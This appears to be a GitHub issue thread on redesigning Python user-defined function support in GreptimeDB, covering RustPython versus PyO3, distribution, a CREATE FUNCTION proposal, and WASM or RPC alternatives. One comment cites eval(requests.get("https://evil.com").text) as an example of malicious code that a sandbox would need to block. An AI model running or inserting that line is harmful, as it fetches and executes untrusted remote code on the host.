Python UDF Support

[tisonkun]

What problem does the new feature solve?

This supersedes:

• Upgrade rustpython #3063
• build(deps): Update RustPython to 0.3.1 #3723
• refactor!: drop RustPython support #3749

We'd revisit the support for Python UDF. Currently, it suffers with the following challenges:

1. It's somewhat a hacky solution that we use sql="..." in decorator args for inputs. Ideally, we should build a solution like PL/Python in Postgres to describe the args and return types, as well as embedded scripts, instead of depending on a series of random conventions.
2. The upstream RustPython doesn't support GC yet, and thus, we can hardly catch up with the upstream, which is evolving quickly.
3. It's still undetermined how to support multiple Python versions with the PyO3 backend.

What does the feature do?

There are several tasks we can do to improve the situation:

• Move forward (READY FOR REVIEW)Garbage collect: A stop-the-world cycle collector RustPython/RustPython#4180 and then upgrade RustPython to the latest version.
• Investigate supporting multiple Python versions with the PyO3 backend.
• Investigate the distribution model when enabling the PyO3 backend by default.

For supporting multiple Python versions with the PyO3 backend, here are several related threads:

• refactor!: drop RustPython support #3749 (comment)
• Upgrade rustpython #3063 (comment)
• Dynamically opened python library PyO3/pyo3#2668
• Static Build of pyo3 (embedding python interpreter) PyO3/pyo3#416
• https://pyo3.rs/v0.21.2/building-and-distribution

[tisonkun]

@discord9 Now I'd prefer to keep the pyo3 feature gate but drop the RustPython support. And thus the default binary doesn't support Python scripting at all. It seems quite subtle and challenging to handle host Python environment in our distribution.

We may still need a design for the whole Python UDF with this distribution decision. And the current script table solution can suck from #2510.

[sundy-li]

We have also encountered this issue in databendlabs/databend#15494 via pyo3.

Dynamic lib link is unacceptable in distribution release.

Maybe we can build the python codes into wasm?

https://wasmer.io/posts/py2wasm-a-python-to-wasm-compiler
https://gregoryszorc.com/docs/pyoxidizer/main/pyembed.html

[tisonkun]

@sundy-li Thanks for participating in this thread.

I'm afraid that employing the WASM solution would be nothing better than the RustPython solution, both of which can ship the basic Python support without linkage issues.

However, the major use cases of Python UDF are to integrate with the board scientific computing (scipy), data analyzing (numpy, pandas), and ML/AI ecosystem. All of them require a full CPython environment as well as its (C) extension support.

In the last weekend, I made a draft proposal that, at least in GreptimeDB, we can implement Python UDFs with:

1. Support CRAETE FUNCTION syntax. A demo can be:

CREATE FUNCTION udf_name(arg0 [opt_ty0], ...)
RETURNS (ret0 [opt_ty0], ...) AS 
$$
...
$$
LANGUAGE python3;

2. Run a CreateFunctionProcedure to register the UDF to the FUNCTION_REGISTRY, and also update the global scripts table.
3. Then, leverage the current UDF framework to support querying Python UDF as normal UDF.

We will still have a feature pyo3_backend or sth. similar so that whether the Python UDF is able to run is determined at runtime.

Upon failures, a new server will load the scripts table and register all the UDFs on restarted. Other nodes will be notified on the new UDF registered the same as the new table created following the meta server pub-sub mechanism.

In this way, we don't need the "script engine" and the whole HTTP endpoints at all and fully employ the SQL standards. Thus, we can avoid a lot of confusions and unalignments we found previously (#2434 #2532).

Open questions

Following PG's CREATE FUNCTION docs, functions are registered per schema scoped and can be restricted with the permission model. But in our first version, we can use a globally shared scripts table, and later break it down per schemas (or add a schema column to describe its owner/scope).

[Zheaoli]

Maybe we can build the Python codes into wasm?

WASM is a very bad idea. I have tried something like this before in similar circumstance(Gateway UDF/Custom Plugin)

Python has official WASM support but is still in the experimental phase. By the way, if you choose WASM, you will drop most of the C extension support defaults.

The challenges of the Python UDF in my mind are following below:

1. The Python interpreter version supports; how do you choose the Python version you support?
2. How do you install your own package?
3. The resource restricts, and the evil code protects eval(requests.get("https://evil.com").text)

In my old experience, Many Gateway developers and me choose to use the RPC as the solution

1. We provide a series SDK or official docker image. People run the image/SDK code their own
2. We register the RPC endpoint like CREATE UDF ENDPOINT 'abc.abc.com'
3. People can run the customize code their own.

[sundy-li]

In my old experience, Many Gateway developers and me choose to use the RPC as the solution

Yes, we have external function to work this way. It works, but it's not efficient because we need to pass the argument column through the rpc network.

1. https://medium.com/@chasea.romano/ryan-wanted-to-clarify-for-your-readers-snowflake-does-not-convert-python-to-sql-738b6b135fbc
2. https://docs.snowflake.com/en/developer-guide/snowpark/python/creating-session

seems snowpark is a sidecar container.